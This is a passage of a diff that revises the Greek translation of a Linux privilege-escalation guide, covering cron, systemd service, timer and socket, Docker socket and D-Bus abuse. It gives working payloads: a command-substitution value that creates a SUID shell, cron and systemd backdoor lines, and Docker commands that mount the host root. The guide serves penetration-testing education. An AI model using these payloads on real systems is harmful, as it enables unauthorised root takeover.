σειρά: parameter/variable expansion, command substitution, arithmetic expansion, και μετά word splitting και pathname expansion. Έτσι μια τιμή όπως `$(/bin/bash -c 'id > /tmp/pwn')0` πρώτα υποκαθίσταται (τρέχοντας την εντολή), και στη συνέχεια το υπόλοιπο αριθμητικό `0` χρησιμοποιείται για την αριθμητική ώστε το script να συνεχίσει χωρίς σφάλματα. -- Τυπικό ευάλωτο μοτίβο: +- Typical vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +368,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Εκμετάλλευση: Φρόντισε να γραφεί κείμενο υπό έλεγχο του επιτιθέμενου στο parsed log έτσι ώστε το πεδίο που μοιάζει αριθμητικό να περιέχει ένα command substitution και να τελειώνει με ένα ψηφίο. Βεβαιώσου ότι η εντολή σου δεν τυπώνει στο stdout (ή ανακατεύθυνέ την) ώστε η αριθμητική να παραμείνει έγκυρη. +- Exploitation: Γράψτε attacker-controlled κείμενο στο parsed log έτσι ώστε το πεδίο που μοιάζει αριθμητικό να περιέχει μια command substitution και να τελειώνει με ένα ψηφίο. Βεβαιωθείτε ότι η εντολή σας δεν γράφει στο stdout (ή ανακατευθύνετέ το) ώστε η αριθμητική να παραμένει έγκυρη. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,85 +377,85 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Αν **can modify a cron script** executed by root, you can get a shell very easily: +Αν **μπορείτε να τροποποιήσετε ένα cron script** που εκτελείται από root, μπορείτε να αποκτήσετε shell πολύ εύκολα: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Αν το script που εκτελείται από root χρησιμοποιεί ένα **directory όπου έχεις πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψεις αυτό το folder και να **δημιουργήσεις ένα symlink folder προς κάποιο άλλο** που θα εξυπηρετεί ένα script ελεγχόμενο από εσένα. +Αν το script που εκτελείται από τον root χρησιμοποιεί έναν **κατάλογο στον οποίο έχεις πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψεις αυτόν τον φάκελο και να **δημιουργήσεις έναν symlink προς κάποιον άλλο φάκελο** που θα εξυπηρετεί ένα script υπό τον έλεγχό σου. ```bash ln -d -s ``` -### Συχνά cron jobs +### Συχνές cron jobs -Μπορείτε να παρακολουθείτε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορέσετε να εκμεταλλευτείτε αυτό και escalate privileges. +Μπορείτε να παρακολουθείτε τις διεργασίες για να εντοπίσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να αναβαθμίσετε τα δικαιώματά σας. Για παράδειγμα, για να **παρακολουθείτε κάθε 0.1s για 1 λεπτό**, **να ταξινομήσετε κατά τις λιγότερο εκτελεσμένες εντολές** και να διαγράψετε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Μπορείτε επίσης να χρησιμοποιήσετε** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (αυτό θα παρακολουθεί και θα εμφανίζει κάθε διαδικασία που ξεκινά). +**Μπορείτε επίσης να χρησιμοποιήσετε** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (αυτό θα παρακολουθεί και θα καταγράφει κάθε process που ξεκινά). ### Αόρατα cron jobs -Είναι δυνατό να δημιουργηθεί ένα cronjob **τοποθετώντας ένα carriage return μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα carriage return): +Είναι δυνατόν να δημιουργηθεί ένα cronjob **τοποθετώντας ένα carriage return μετά από ένα σχόλιο** (χωρίς newline character), και το cronjob θα λειτουργήσει. Παράδειγμα (προσέξτε το carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Υπηρεσίες -### Αρχεία _.service_ με δυνατότητα εγγραφής +### Εγγράψιμα _.service_ αρχεία -Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, **θα μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινάει**, **επανεκκινείται** ή **σταματάει** (ίσως χρειαστεί να περιμένετε μέχρι το μηχάνημα να επανεκκινηθεί).\ -Για παράδειγμα δημιουργήστε το backdoor μέσα στο .service αρχείο με **`ExecStart=/tmp/script.sh`** +Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, μπορείτε να το **τροποποιήσετε** ώστε να **εκτελεί** το **backdoor** σας όταν η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινηθεί η μηχανή).\ +Για παράδειγμα δημιουργήστε το backdoor σας μέσα στο .service αρχείο με **`ExecStart=/tmp/script.sh`** -### Binaries υπηρεσιών με δυνατότητα εγγραφής +### Εγγράψιμα binaries υπηρεσιών -Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε binaries που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors έτσι ώστε όταν οι υπηρεσίες ξαναεκτελεστούν να εκτελεστούν και τα backdoors. +Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής πάνω σε binaries που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε για backdoors ώστε όταν οι υπηρεσίες ξαναεκτελεστούν τα backdoors να εκτελεστούν. -### systemd PATH - Relative Paths +### systemd PATH - Σχετικές Διαδρομές Μπορείτε να δείτε το PATH που χρησιμοποιεί το **systemd** με: ```bash systemctl show-environment ``` -Αν διαπιστώσετε ότι μπορείτε να **write** σε οποιονδήποτε από τους φακέλους της διαδρομής, ίσως να μπορείτε να **escalate privileges**. Πρέπει να ψάξετε για **relative paths being used on service configurations** αρχεία όπως: +Εάν διαπιστώσετε ότι μπορείτε να **write** σε οποιονδήποτε από τους φακέλους της διαδρομής, ίσως να μπορέσετε να **escalate privileges**. Πρέπει να αναζητήσετε αρχεία που χρησιμοποιούν **relative paths being used on service configurations**, όπως: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα με το δυαδικό αρχείο της σχετικής διαδρομής** μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευάλωτη ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor** σας θα εκτελεστεί (οι μη προνομιούχοι χρήστες συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`). +Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με **το ίδιο όνομα με το δυαδικό αρχείο του σχετικού μονοπατιού** μέσα στον systemd PATH φάκελο στον οποίο μπορείτε να γράψετε, και όταν η υπηρεσία ζητήσει να εκτελέσει την ευπαθή ενέργεια (**Start**, **Stop**, **Reload**), το **backdoor** σας θα εκτελεστεί (χρήστες χωρίς προνόμια συνήθως δεν μπορούν να start/stop υπηρεσίες αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`). -**Μάθετε περισσότερα για τις υπηρεσίες με το `man systemd.service`.** +**Μάθετε περισσότερα για τις υπηρεσίες με `man systemd.service`.** -## **Timers** +## **Χρονοδιακόπτες** -**Timers** είναι αρχεία μονάδων systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν αρχεία ή συμβάντα `**.service**`. Οι **Timers** μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρόνου ημερολογίου και μονοτονικά γεγονότα χρόνου και μπορούν να τρέξουν ασύγχρονα. +Οι **Χρονοδιακόπτες** είναι αρχεία μονάδων systemd των οποίων το όνομα τελειώνει σε `**.timer**` και ελέγχουν αρχεία ή γεγονότα `**.service**`. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική του cron, καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρόνου ημερολογίου και μονοτονικά χρονικά γεγονότα και μπορούν να τρέξουν ασύγχρονα. -Μπορείτε να απαριθμήσετε όλα τα timers με: +Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με: ```bash systemctl list-timers --all ``` -### Εγγράψιμοι timers +### Εγγράψιμοι χρονοδιακόπτες -Αν μπορείτε να τροποποιήσετε ένα timer, μπορείτε να το κάνετε να εκτελέσει κάποιες υπάρχουσες μονάδες του systemd.unit (όπως ένα `.service` ή ένα `.target`) +Εάν μπορείτε να τροποποιήσετε έναν χρονοδιακόπτη, μπορείτε να τον κάνετε να εκτελέσει κάποιες υπάρχουσες μονάδες του systemd.unit (όπως `.service` ή `.target`) ```bash Unit=backdoor.service ``` -Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η μονάδα: +In the documentation you can read what the Unit is: -> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτό το timer. Το όρισμα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Εάν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια service που έχει το ίδιο όνομα με τη timer μονάδα, εκτός από το επίθημα. (Βλέπε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της timer μονάδας να ονομάζονται ταυτόσημα, εκτός από το επίθημα. +> Η μονάδα που θα ενεργοποιηθεί όταν αυτός ο timer λήξει. Το όρισμα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Εάν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα timer, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας timer να ονομάζονται ταυτόσημα, εκτός από το επίθημα. -Επομένως, για να καταχραστείτε αυτήν την άδεια θα χρειαστεί να: +Therefore, to abuse this permission you would need to: -- Βρείτε κάποια systemd μονάδα (όπως ένα `.service`) που **εκτελεί ένα εγγράψιμο binary** -- Βρείτε κάποια systemd μονάδα που **εκτελεί μια relative path** και έχετε **δικαιώματα εγγραφής** πάνω στο **systemd PATH** (για να προσποιηθείτε αυτό το εκτελέσιμο) +- Βρείτε κάποια systemd unit (όπως ένα `.service`) που είναι **εκτελώντας ένα εκτελέσιμο αρχείο με δικαιώματα εγγραφής** +- Βρείτε κάποια systemd unit που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στο **systemd PATH** (για να παραστήσετε εκείνο το εκτελέσιμο) -**Μάθετε περισσότερα για timers με `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** -### **Ενεργοποίηση timer** +### **Enabling Timer** Για να ενεργοποιήσετε ένα timer χρειάζεστε προνόμια root και να εκτελέσετε: ```bash @@ -465,28 +466,28 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ## Sockets -Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στο ίδιο ή σε διαφορετικά μηχανήματα εντός μοντέλων client-server. Χρησιμοποιούν τυπικά Unix descriptor αρχεία για επικοινωνία μεταξύ υπολογιστών και διαμορφώνονται μέσω `.socket` αρχείων. +Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** σε ίδιες ή διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τυπικά αρχεία descriptor του Unix για επικοινωνία μεταξύ μηχανών και ρυθμίζονται μέσω `.socket` αρχείων. -Sockets μπορούν να διαμορφωθούν χρησιμοποιώντας `.socket` αρχεία. +Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`. -**Μάθετε περισσότερα για τα sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: +**Μάθετε περισσότερα για sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν, αλλά συνοπτικά χρησιμοποιούνται για να **υποδείξουν πού θα ακούει** το socket (το path του AF_UNIX socket αρχείου, η IPv4/6 διεύθυνση και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.) -- `Accept`: Δέχεται όρισμα boolean. Εάν είναι **true**, μια **instance service** δημιουργείται για κάθε εισερχόμενη σύνδεση και μόνο το connection socket προωθείται σε αυτήν. Εάν είναι **false**, όλα τα listening sockets οι ίδιοι **παραδίδονται στη ξεκίνημένη service unit**, και δημιουργείται μόνο μία service unit για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μια ενιαία service unit χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή: false**. Για λόγους απόδοσης, συνιστάται να γράφονται νέοι daemons με τρόπο συμβατό με `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Δέχονται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **δημιουργηθούν** και δεθούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από τα ορίσματα για τη διαδικασία. -- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **κλείσουν** και αφαιρεθούν, αντίστοιχα. -- `Service`: Καθορίζει το όνομα της **service** unit που θα **ενεργοποιηθεί** σε περίπτωση **εισερχόμενης κίνησης**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η service που έχει το ίδιο όνομα με το socket (με την κατάλληλη αντικατάσταση του επίθηματος). Στις περισσότερες περιπτώσεις δεν είναι απαραίτητο να χρησιμοποιηθεί αυτή η επιλογή. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές διαφέρουν αλλά σε γενικές γραμμές χρησιμοποιούνται για να **υποδείξουν πού θα ακούει** το socket (το path του AF_UNIX socket αρχείου, το IPv4/6 και/ή τον αριθμό θύρας για ακρόαση, κ.λπ.) +- `Accept`: Παίρνει ένα boolean όρισμα. Αν **true**, μια **instance υπηρεσίας spawnάρεται για κάθε εισερχόμενη σύνδεση** και μόνο το socket της σύνδεσης περνάει σε αυτή. Αν **false**, όλα τα listening sockets οι ίδιοι **πέρανται στη gestart service unit**, και μόνο μία service unit spawnάρεται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μία service unit αδιαμφισβήτητα χειρίζεται όλη την εισερχόμενη κίνηση. **Προεπιλογή false**. Για λόγους απόδοσης, συνιστάται να γράφονται νέοι daemons με τρόπο κατάλληλο για `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Παίρνουν μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **δημιουργηθούν** και δεθούν, αντίστοιχα. Το πρώτο token της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διεργασία. +- `ExecStopPre`, `ExecStopPost`: Επιπλέον **εντολές** που **εκτελούνται πριν** ή **μετά** τα listening **sockets**/FIFOs **κλείσουν** και αφαιρεθούν, αντίστοιχα. +- `Service`: Προσδιορίζει το όνομα της **service** unit που **θα ενεργοποιηθεί** σε **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η service που φέρει το ίδιο όνομα με το socket (με το επίθημα αντικατεστημένο). Στις περισσότερες περιπτώσεις δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτή την επιλογή. -### Writable .socket files +### Εγγράψιμα .socket αρχεία -Αν βρείτε ένα **εγγράψιμο** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν δημιουργηθεί το socket. Επομένως, **πιθανότατα θα χρειαστεί να περιμένετε μέχρι να γίνει reboot το μηχάνημα.**\ -_Σημείωση: το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση του socket αρχείου αλλιώς το backdoor δεν θα εκτελεστεί_ +Αν βρείτε ένα **εγγράψιμο** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν το socket δημιουργηθεί. Επομένως, **πιθανότατα θα χρειαστεί να περιμένετε μέχρι να γίνει reboot της μηχανής.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Writable sockets +### Εγγράψιμα sockets -Εάν **εντοπίσετε κάποιο εγγράψιμο socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα config `.socket` αρχεία_), τότε **μπορείτε να επικοινωνήσετε** με αυτό το socket και ενδεχομένως να εκμεταλλευτείτε κάποια ευπάθεια. +Αν εντοπίσετε κάποιο εγγράψιμο socket (_τώρα μιλάμε για Unix Sockets και όχι για τα config `.socket` αρχεία_), τότε **μπορείτε να επικοινωνήσετε** με αυτό το socket και ίσως να εκμεταλλευτείτε κάποια ευπάθεια. -### Απαρίθμηση Unix Sockets +### Εντοπισμός Unix Sockets ```bash netstat -a -p --unix ``` @@ -499,7 +500,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Παράδειγμα εκμετάλλευσης:** {{#ref}} @@ -508,28 +509,28 @@ socket-command-injection.md ### HTTP sockets -Σημειώστε ότι μπορεί να υπάρχουν μερικά **sockets listening for HTTP** αιτήματα (_δεν αναφέρομαι στα .socket files αλλά στα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: +Σημειώστε ότι μπορεί να υπάρχουν μερικά **sockets που ακούνε HTTP** requests (_Δεν αναφέρομαι σε .socket files αλλά σε αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Εάν το socket **απαντά σε ένα HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **εκμεταλλευτείτε κάποια ευπάθεια**. +Αν το socket **απαντήσει σε ένα HTTP** αίτημα, τότε μπορείτε να **επικοινωνήσετε** μαζί του και ίσως να **exploit some vulnerability**. ### Εγγράψιμο Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να προστατευτεί. Κατά προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε privilege escalation. Παρακάτω ακολουθεί ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικοί τρόποι αν το Docker CLI δεν είναι διαθέσιμο. #### **Privilege Escalation with Docker CLI** -Εάν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να αποκτήσετε αυξημένα προνόμια χρησιμοποιώντας τις ακόλουθες εντολές: +Εάν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να escalate privileges χρησιμοποιώντας τις παρακάτω εντολές: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Αυτές οι εντολές επιτρέπουν την εκτέλεση ενός container με πρόσβαση επιπέδου root στο file system του host. +Αυτές οι εντολές σας επιτρέπουν να τρέξετε ένα container με root-level access στο host filesystem. -#### **Χρήση Docker API απευθείας** +#### **Χρήση του Docker API απευθείας** -Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί να παραμετροποιηθεί χρησιμοποιώντας το Docker API και εντολές `curl`. +Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμη να χειριστεί μέσω του Docker API και εντολών `curl`. 1. **List Docker Images:** Ανάκτηση της λίστας των διαθέσιμων images. @@ -537,7 +538,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Στείλτε ένα αίτημα για δημιουργία container που προσαρτά (mount) τον ριζικό κατάλογο του host. +2. **Create a Container:** Στείλτε ένα αίτημα για να δημιουργήσετε ένα container που προσαρτά το root directory του host συστήματος. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -549,7 +550,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Χρησιμοποιήστε το `socat` για να δημιουργήσετε μια σύνδεση με το container, επιτρέποντας την εκτέλεση εντολών μέσα σε αυτό. +3. **Attach to the Container:** Χρησιμοποιήστε το `socat` για να δημιουργήσετε μια σύνδεση στο container, επιτρέποντας την εκτέλεση εντολών εντός αυτού. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,29 +560,32 @@ Connection: Upgrade Upgrade: tcp ``` -Μετά τη ρύθμιση της σύνδεσης `socat`, μπορείτε να εκτελείτε εντολές απευθείας στο container με πρόσβαση επιπέδου root στο file system του host. +Αφού ρυθμίσετε τη σύνδεση `socat`, μπορείτε να εκτελείτε εντολές απευθείας μέσα στο container με root-level πρόσβαση στο host filesystem. ### Άλλα -Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο docker socket επειδή είστε **inside the group `docker`** έχετε [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Σημειώστε ότι αν έχετε δικαιώματα εγγραφής στο docker socket επειδή είστε **μέσα στην ομάδα `docker`**, έχετε [**περισσότερους τρόπους για κλιμάκωση προνομίων**](interesting-groups-linux-pe/index.html#docker-group). Αν ο [**docker API ακούει σε μια θύρα**](../../network-services-pentesting/2375-pentesting-docker.md#compromising) μπορείτε επίσης να τον παραβιάσετε. + +Δείτε **περισσότερους τρόπους για να κάνετε break out από το docker ή να το καταχραστείτε για κλιμάκωση προνομίων** στο: -Δείτε **more ways to break out from docker or abuse it to escalate privileges** στο: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) κλιμάκωση προνομίων + +Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`**, διαβάστε την ακόλουθη σελίδα καθώς **ενδέχεται να μπορείτε να την καταχραστείτε για κλιμάκωση προνομίων**: -Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`**, διαβάστε την παρακάτω σελίδα καθώς **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** κλιμάκωση προνομίων + +Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`**, διαβάστε την ακόλουθη σελίδα καθώς **ενδέχεται να μπορείτε να την καταχραστείτε για κλιμάκωση προνομίων**: -Αν μπορείτε να χρησιμοποιήσετε την εντολή **`runc`**, διαβάστε την παρακάτω σελίδα καθώς **you may be able to abuse it to escalate privileges**: {{#ref}} runc-privilege-escalation.md @@ -589,15 +593,15 @@ runc-privilege-escalation.md ## **D-Bus** -Το D-Bus είναι ένα προηγμένο σύστημα **inter-Process Communication (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να ανταλλάσσουν δεδομένα αποδοτικά. Σχεδιασμένο για τα σύγχρονα συστήματα Linux, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας μεταξύ εφαρμογών. +Το D-Bus είναι ένα προηγμένο inter-Process Communication (IPC) σύστημα που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποδοτικά. Σχεδιασμένο με γνώμονα το σύγχρονο Linux σύστημα, προσφέρει ένα στιβαρό πλαίσιο για διάφορες μορφές επικοινωνίας μεταξύ εφαρμογών. -Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με **enhanced UNIX domain sockets**. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση ανάμεσα σε συστατικά του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon για εισερχόμενη κλήση μπορεί να προκαλέσει το σίγαση ενός music player, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα remote object system, απλοποιώντας αιτήματα υπηρεσιών και κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. +Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που βελτιώνει την ανταλλαγή δεδομένων μεταξύ διεργασιών, παρόμοιο με βελτιωμένα UNIX domain sockets. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ στοιχείων του συστήματος. Για παράδειγμα, ένα σήμα από έναν Bluetooth daemon σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει σε έναν music player να κάνει mute, βελτιώνοντας την εμπειρία χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας διαδικασίες που παραδοσιακά ήταν πολύπλοκες. -Το D-Bus λειτουργεί με ένα **allow/deny model**, διαχειριζόμενο δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) βάσει του αθροιστικού αποτελέσματος ταιριαστών κανόνων πολιτικής. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το bus, και ενδεχομένως να επιτρέπουν privilege escalation μέσω εκμετάλλευσης αυτών των δικαιωμάτων. +Το D-Bus λειτουργεί με ένα μοντέλο **allow/deny**, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) βάσει του σωρευτικού αποτελέσματος των αντίστοιχων κανόνων πολιτικής. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το bus, ενδέχεται να επιτρέψουν κλιμάκωση προνομίων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων. -Παρατίθεται παράδειγμα τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει δικαιώματα για τον χρήστη root να έχει ιδιοκτησία, να αποστέλλει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`. +Παρατίθεται ένα παράδειγμα τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf`, που περιγράφει τα δικαιώματα για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από το `fi.w1.wpa_supplicant1`. -Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα εφαρμόζονται καθολικά, ενώ οι πολιτικές με context "default" εφαρμόζονται σε όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. +Πολιτικές χωρίς καθορισμένο user ή group εφαρμόζονται καθολικά, ενώ οι πολιτικές στο πλαίσιο "default" εφαρμόζονται σε όλους όσοι δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές. ```xml @@ -606,7 +610,7 @@ runc-privilege-escalation.md ``` -**Μάθετε πώς να enumerate και να 